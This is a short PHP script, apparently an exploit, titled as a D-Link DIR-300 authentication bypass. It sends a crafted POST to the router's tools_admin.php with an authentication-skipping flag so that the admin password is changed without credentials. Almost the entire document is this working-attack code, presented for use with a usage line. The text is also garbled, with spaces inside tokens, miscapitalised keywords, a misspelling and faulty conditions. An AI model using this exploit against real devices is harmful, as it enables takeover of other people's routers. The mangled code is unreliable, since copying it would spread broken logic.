D-Link DIR-300 Authentication Bypass

<? Php
If (sizeof ($ argv )! = 4 ){
Echo "Usage: php5 $ argv [0] <router ip addres> <port>
<Admin password> ";
Exit;
}
$ Ch = curl_init ();
Curl_setopt ($ ch, CURLOPT_URL, "http: //". $ argv [1]. "/tools_admin.php ");
Curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, true );
Curl_setopt ($ ch, CURLOPT_PORT, $ argv [2]);
Curl_setopt ($ ch, CURLOPT_POST, 1 );
Curl_setopt ($ ch,
CURLOPT_POSTFIELDS, "ACTION_POST = LOGIN & LOGIN_USER = a & LOGIN_PASSWD = B & login =
+ Log + In + & NO_NEED_AUTH = 1 & AUTH_GROUP = 0 & admin_name = admin & admin_password1 = ".
Urlencode ($ argv [3]);
Echo "+ starting request ";
$ Out = curl_exec ($ ch );
If ($ out = false ){
Echo "-Error: cocould not connect (
Http: // $ argv [1]: $ argv [2]/tools_admin.php ).";
Exit;
} Else
Echo "+ request sended ";
Curl_close ($ ch );
If (stripos ($ out, "login. php") === true ){
Echo "-something goes wrong (check answer-answer.html )! ";
$ F = fopen ("answer.html", "w"); fwrite ($ f, $ out); fclose ($ f );
Exit;
}
Else
Echo "+ OK, now you can login using l: admin p: $ argv [3]";
?>